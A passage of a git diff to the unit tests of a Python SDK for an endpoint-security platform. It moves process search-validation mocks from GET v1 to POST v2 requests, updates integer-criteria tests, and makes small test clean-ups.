Query.add_exclusions().""" +def test_process_events_integer_criteria(cbcsdk_mock): + """Testing that a valid integer criteria does not raise an exception. Changed in SDK 1.5.0""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -381,28 +377,23 @@ def test_process_events_exceptions(cbcsdk_mock): guid = 'WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00' process = api.select(Process, guid) assert isinstance(process.events(), Query) - # use a criteria value that's not a string or list - with pytest.raises(ApiError): - process.events(event_type="modload").add_criteria("crossproc_action", 0) - # use an exclusion value that's not a string or list - with pytest.raises(ApiError): - process.events().add_exclusions("crossproc_effective_reputation", 0) + # use a criteria value that's an integer + process.events(event_type="modload").add_criteria("process_pid", 1234) def test_process_with_criteria_exclusions(cbcsdk_mock): """Testing AsyncProcessQuery.add_criteria() and AsyncProcessQuery.add_exclusions().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "event_type:modload"} + return POST_PROCESS_VALIDATION_RESP + api = cbcsdk_mock.api # use the update methods process = api.select(Process).where("event_type:modload").add_criteria("device_id", [1234]).add_exclusions( "crossproc_effective_reputation", ["REP_WHITE"]) process.timeout(1000) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "criteria=%7B%27device_id%27%3A+%5B1234%5D%7D&exclusions=%7B%27" - "crossproc_effective_reputation%27%3A+%5B%27REP_WHITE%27%5D%7D" - "&q=event_type%3Amodload&query=event_type%3Amodload", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -542,13 +533,12 @@ def test_process_sort(cbcsdk_mock): def test_process_events_query_with_criteria_exclusions(cbcsdk_mock): """Testing the add_criteria() method when selecting events.""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -594,15 +584,43 @@ def test_process_events_query_with_criteria_exclusions(cbcsdk_mock): assert events_query_params == expected_params -def test_process_events_raise_exceptions(cbcsdk_mock): +def test_process_events_exclusion_and_criteria_int(cbcsdk_mock): """Testing raising an Exception when using Query.add_criteria() and Query.add_exclusions().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) + # mock the POST of a search + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", + POST_PROCESS_SEARCH_JOB_RESP) + # mock the GET to check search status + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" + "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), + GET_PROCESS_SEARCH_JOB_RESP) + # mock the GET to get search results + cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/search_jobs/" + "2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=500"), + GET_PROCESS_SEARCH_JOB_RESULTS_RESP) + api = cbcsdk_mock.api + guid = 'WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00' + process = api.select(Process, guid) + assert isinstance(process.events(), Query) + # use a criteria value that's an integer + process.events(event_type="modload").add_criteria("process_pid", 1234) + # use an exclusion value that's an integer + process.events().add_exclusions("process_pid", 4321) + + +def test_process_events_exclusion_and_criteria_exception(cbcsdk_mock): + """Testing raising an Exception when using Query.add_criteria() and Query.add_exclusions().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + + # mock the search validation + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -618,27 +636,26 @@ def test_process_events_raise_exceptions(cbcsdk_mock): guid = 'WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00' process = api.select(Process, guid) assert isinstance(process.events(), Query) - # use a criteria value that's not a string or list with pytest.raises(ApiError): - process.events(event_type="modload").add_criteria("crossproc_action", 0) - # use an exclusion value that's not a string or list + # use a criteria value that's an integer + process.events(event_type="modload").add_criteria("process_pid", 0.987) with pytest.raises(ApiError): - process.events().add_exclusions("crossproc_effective_reputation", 0) + # use an exclusion value that's an integer + process.events().add_exclusions("process_pid", 0.654) def test_process_query_with_criteria_exclusions(cbcsdk_mock): """Testing AsyncProcessQuery.add_criteria() and AsyncProcessQuery.add_exclusions().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "event_type:modload"} + return POST_PROCESS_VALIDATION_RESP + api = cbcsdk_mock.api # use the update methods process = api.select(Process).where("event_type:modload").add_criteria("device_id", [1234]).add_exclusions( "crossproc_effective_reputation", ["REP_WHITE"]) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "criteria=%7B%27device_id%27%3A+%5B1234%5D%7D&exclusions=%7B%27" - "crossproc_effective_reputation%27%3A+%5B%27REP_WHITE%27%5D%7D" - "&q=event_type%3Amodload&query=event_type%3Amodload", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -771,13 +788,14 @@ def test_process_sort_by(cbcsdk_mock): ]) def test_process_parents(cbcsdk_mock, get_summary_response, guid, process_search_results, has_parent_process): """Testing Process.parents property/method.""" + def on_validation_post(url, body, **kwargs): + newguid = guid.replace('-', '\\-') + assert body == {"query": f"process_guid:{newguid}"} + return POST_PROCESS_VALIDATION_RESP + api = cbcsdk_mock.api # mock the search validation - guid_escaped = guid.replace('-', '%5C-') - query = f"process_guid={guid_escaped}&q=process_guid%3A{guid_escaped}&query=process_guid%3A{guid_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -801,11 +819,15 @@ def test_process_parents(cbcsdk_mock, get_summary_response, guid, process_search # the process has a parent process (manually flagged) if has_parent_process: # mock the search validation - parent_escaped = process.parent_guid.replace('-', '%5C-') - query = f"process_guid={parent_escaped}&q=process_guid%3A{parent_escaped}&query=process_guid%3A{parent_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + parent_escaped = process.parent_guid.replace('-', '\\-') + + def on_parent_validation(url, body, **kwargs): + nonlocal parent_escaped + assert body == {"query": f"process_guid:{parent_escaped}"} + return POST_PROCESS_VALIDATION_RESP + + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + on_parent_validation) # Process.parents property returns a Process object, or [] if None assert isinstance(process.parents, Process) @@ -832,12 +854,13 @@ def test_process_parents(cbcsdk_mock, get_summary_response, guid, process_search (GET_PROCESS_SUMMARY_RESP_NO_CHILDREN, "test-003513bc-0000035c-00000000-1d640200c9a6205", 0)]) def test_process_children(cbcsdk_mock, get_summary_response, guid, expected_num_children): """Testing Process.children property.""" + def on_validation_post(url, body, **kwargs): + newguid = guid.replace('-', '\\-') + assert body == {"query": f"process_guid:{newguid}"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - guid_escaped = guid.replace('-', '%5C-') - query = f"process_guid={guid_escaped}&q=process_guid%3A{guid_escaped}&query=process_guid%3A{guid_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a process search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -881,12 +904,13 @@ def test_process_children(cbcsdk_mock, get_summary_response, guid, expected_num_ "test-003513bc-0000035c-00000000-1d640200c9a6205", None)]) def test_process_md5(cbcsdk_mock, get_process_search_response, get_summary_response, guid, md5): """Testing Process.process_md5 property.""" + def on_validation_post(url, body, **kwargs): + newguid = guid.replace('-', '\\-') + assert body == {"query": f"process_guid:{newguid}"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - guid_escaped = guid.replace('-', '%5C-') - query = f"process_guid={guid_escaped}&q=process_guid%3A{guid_escaped}&query=process_guid%3A{guid_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a process search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -918,13 +942,12 @@ def test_process_md5(cbcsdk_mock, get_process_search_response, get_summary_respo def test_process_md5_not_found(cbcsdk_mock): """Testing error raising when receiving 404 for a Process.""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:someNonexistantGuid"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=someNonexistantGuid" - "&q=process_guid%3AsomeNonexistantGuid" - "&query=process_guid%3AsomeNonexistantGuid", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a process search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -968,13 +991,15 @@ def test_process_md5_not_found(cbcsdk_mock): (GET_PROCESS_SEARCH_JOB_RESULTS_RESP_3, GET_PROCESS_SUMMARY_RESP_NO_HASH, "test-003513bc-0000035c-00000000-1d640200c9a6205", None)]) def test_process_sha256(cbcsdk_mock, get_process_response, get_summary_response, guid, sha256): + """Testing Process.process_sha256 property.""" + def on_validation_post(url, body, **kwargs): + newguid = guid.replace('-', '\\-') + assert body == {"query": f"process_guid:{newguid}"} + return POST_PROCESS_VALIDATION_RESP + """Testing Process.process_sha256 property.""" # mock the search validation - guid_escaped = guid.replace('-', '%5C-') - query = f"process_guid={guid_escaped}&q=process_guid%3A{guid_escaped}&query=process_guid%3A{guid_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a process search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -1017,12 +1042,13 @@ def test_process_sha256(cbcsdk_mock, get_process_response, get_summary_response, "test-003513bc-0000035c-00000000-1d640200c9a6205", None)]) def test_process_pids(cbcsdk_mock, get_process_response, get_summary_response, guid, pids): """Testing Process.process_pids property.""" + def on_validation_post(url, body, **kwargs): + newguid = guid.replace('-', '\\-') + assert body == {"query": f"process_guid:{newguid}"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - guid_escaped = guid.replace('-', '%5C-') - query = f"process_guid={guid_escaped}&q=process_guid%3A{guid_escaped}&query=process_guid%3A{guid_escaped}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a process search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -1050,13 +1076,12 @@ def test_process_pids(cbcsdk_mock, get_process_response, get_summary_response, g def test_process_select_where(cbcsdk_mock): """Testing Process querying with where().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -1078,16 +1103,15 @@ def test_process_select_where(cbcsdk_mock): def test_process_still_querying(cbcsdk_mock): """Testing Process""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the GET to check search status cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), @@ -1101,16 +1125,15 @@ def test_process_still_querying(cbcsdk_mock): def test_process_still_querying_zero(cbcsdk_mock): """Testing Process""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7-0002b226-000015bd-00000000-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the GET to check search status cbcsdk_mock.mock_request("GET", ("/api/investigate/v2/orgs/test/processes/" "search_jobs/2c292717-80ed-4f0d-845f-779e09470920/results?start=0&rows=0"), @@ -1218,13 +1241,12 @@ def test_process_facet_select(cbcsdk_mock): def test_process_facets(cbcsdk_mock): """Testing Process.facets() method.""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -1284,13 +1306,12 @@ def test_process_facet_query_check_range(cbcsdk_mock, bucket_size, start, end, f def test_tree_select(cbcsdk_mock): """Testing Process.Tree Querying""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) diff --git a/src/tests/unit/platform/test_platform_query.py b/src/tests/unit/platform/test_platform_query.py index 93a5d0cf6..6e5fd71d0 100644 --- a/src/tests/unit/platform/test_platform_query.py +++ b/src/tests/unit/platform/test_platform_query.py @@ -9,8 +9,8 @@ from tests.unit.fixtures.CBCSDKMock import CBCSDKMock from tests.unit.fixtures.platform.mock_process import (GET_PROCESS_SUMMARY_RESP, GET_PROCESS_SUMMARY_RESP_1, - GET_PROCESS_VALIDATION_RESP, - GET_PROCESS_VALIDATION_RESP_INVALID, + POST_PROCESS_VALIDATION_RESP, + POST_PROCESS_VALIDATION_RESP_INVALID, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP, @@ -48,10 +48,8 @@ def test_query_count(cbcsdk_mock, get_summary_response, get_process_search_respo """Testing Process.process_pids property.""" api = cbcsdk_mock.api # mock the GET of query parameter validation - query = f"process_guid={guid}&q=process_guid%3A{guid}&query=process_guid%3A{guid}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -76,10 +74,8 @@ def test_query_get_query_parameters(cbcsdk_mock, get_process_search_response, gu """Testing Query._get_query_parameters().""" api = cbcsdk_mock.api # mock the GET of query parameter validation - query = f"process_guid={guid}&q=process_guid%3A{guid}&query=process_guid%3A{guid}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", @@ -105,10 +101,8 @@ def test_query_validate_not_valid(cbcsdk_mock, get_process_search_response, guid """Testing Query._validate().""" api = cbcsdk_mock.api # mock the GET of query parameter validation - query = f"process_guid={guid}&q=process_guid%3A{guid}&query=process_guid%3A{guid}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP_INVALID) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP_INVALID) process_query = api.select(Process).where(f"process_guid:{guid}") with pytest.raises(ApiError): @@ -223,10 +217,8 @@ def test_query_execute_async(cbcsdk_mock, get_summary_response, get_process_sear """Testing Process.process_pids property.""" api = cbcsdk_mock.api # mock the GET of query parameter validation - query = f"process_guid={guid}&q=process_guid%3A{guid}&query=process_guid%3A{guid}" - cbcsdk_mock.mock_request("GET", - f"/api/investigate/v1/orgs/test/processes/search_validation?{query}", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) diff --git a/src/tests/unit/platform/test_reputation_overrides.py b/src/tests/unit/platform/test_reputation_overrides.py index 582c42fc5..bd7399604 100644 --- a/src/tests/unit/platform/test_reputation_overrides.py +++ b/src/tests/unit/platform/test_reputation_overrides.py @@ -21,7 +21,7 @@ REPUTATION_OVERRIDE_SHA256_RESPONSE, REPUTATION_OVERRIDE_SHA256_SEARCH_RESPONSE) -from tests.unit.fixtures.platform.mock_process import (GET_PROCESS_VALIDATION_RESP, +from tests.unit.fixtures.platform.mock_process import (POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP) @@ -180,12 +180,8 @@ def _test_request(url, body, **kwargs): def test_reputation_override_process_ban_process_sha256(cbcsdk_mock): """Testing Reputation Override creation from process""" # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -225,12 +221,8 @@ def _test_request(url, body, **kwargs): def test_reputation_override_process_approve_process_sha256(cbcsdk_mock): """Testing Reputation Override creation from process""" # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) diff --git a/src/tests/unit/platform/test_vulnerability_assessment.py b/src/tests/unit/platform/test_vulnerability_assessment.py index 11c41156b..2d9018778 100644 --- a/src/tests/unit/platform/test_vulnerability_assessment.py +++ b/src/tests/unit/platform/test_vulnerability_assessment.py @@ -270,7 +270,7 @@ def test_get_vulnerability_more_than_one(cbcsdk_mock): assert ex.value.message == "CVE affects more than one OS or product, " \ "vulnerabilites available in exception.results" assert len(ex.value.results) == 2 - assert type(ex.value.results[0]) == Vulnerability + assert isinstance(ex.value.results[0], Vulnerability) def test_get_vulnerability_per_vcenter(cbcsdk_mock): @@ -297,7 +297,7 @@ def post_validate(url, body, **kwargs): assert crits['name'] == {"value": "test", "operator": "EQUALS"} assert crits['os_arch'] == {"value": "x86_64", "operator": "EQUALS"} assert crits['os_name'] == {"value": "Red Hat Enterprise Linux Server", "operator": "EQUALS"} - assert crits['os_type'] == {"value": "RHEL", "operator": "EQUALS"} + assert crits['os_type'] == {"value": "MAC", "operator": "EQUALS"} assert crits['os_version'] == {"value": "7.0", "operator": "EQUALS"} assert crits['severity'] == {"value": "CRITICAL", "operator": "EQUALS"} assert crits['sync_type'] == {"value": "SCHEDULED", "operator": "EQUALS"} @@ -317,7 +317,7 @@ def post_validate(url, body, **kwargs): .set_name('test', 'EQUALS') \ .set_os_arch('x86_64', 'EQUALS') \ .set_os_name('Red Hat Enterprise Linux Server', 'EQUALS') \ - .set_os_type('RHEL', 'EQUALS') \ + .set_os_type('MAC', 'EQUALS') \ .set_os_version('7.0', 'EQUALS') \ .set_severity('CRITICAL', 'EQUALS') \ .set_sync_type('SCHEDULED', 'EQUALS') \ @@ -423,7 +423,7 @@ def post_validate(url, body, **kwargs): vulnerability = Vulnerability(api, "CVE-2014-4650") results = list(vulnerability.get_affected_assets()) assert len(results) == 1 - assert type(results[0]) == Device + assert isinstance(results[0], Device) assert results[0].id == 98765 assert results[0].name in vulnerability.affected_assets @@ -451,7 +451,7 @@ def post_validate(url, body, **kwargs): results = list(query_future.result()) assert len(results) == 1 - assert type(results[0]) == Device + assert isinstance(results[0], Device) assert results[0].id == 98765 assert results[0].name in vulnerability.affected_assets diff --git a/src/tests/unit/test_rest_api.py b/src/tests/unit/test_rest_api.py index c7ab39d22..f2d61462e 100644 --- a/src/tests/unit/test_rest_api.py +++ b/src/tests/unit/test_rest_api.py @@ -16,7 +16,6 @@ from tests.unit.fixtures.CBCSDKMock import CBCSDKMock from tests.unit.fixtures.mock_rest_api import ( NOTIFICATIONS_RESP, - AUDITLOGS_RESP, ALERT_SEARCH_SUGGESTIONS_RESP, PROCESS_SEARCH_VALIDATIONS_RESP, CUSTOM_SEVERITY_RESP, @@ -24,6 +23,7 @@ FETCH_PROCESS_QUERY_RESP, CONVERT_FEED_QUERY_RESP, ) +from tests.unit.fixtures.platform.mock_audit import AUDITLOGS_RESP @pytest.fixture(scope="function") @@ -72,7 +72,7 @@ def test_alert_search_suggestions(cbcsdk_mock): api = cbcsdk_mock.api cbcsdk_mock.mock_request( "GET", - "/appservices/v6/orgs/test/alerts/search_suggestions?suggest.q=", + "/api/alerts/v7/orgs/test/alerts/search_suggestions?suggest.q=", ALERT_SEARCH_SUGGESTIONS_RESP, ) result = api.alert_search_suggestions("")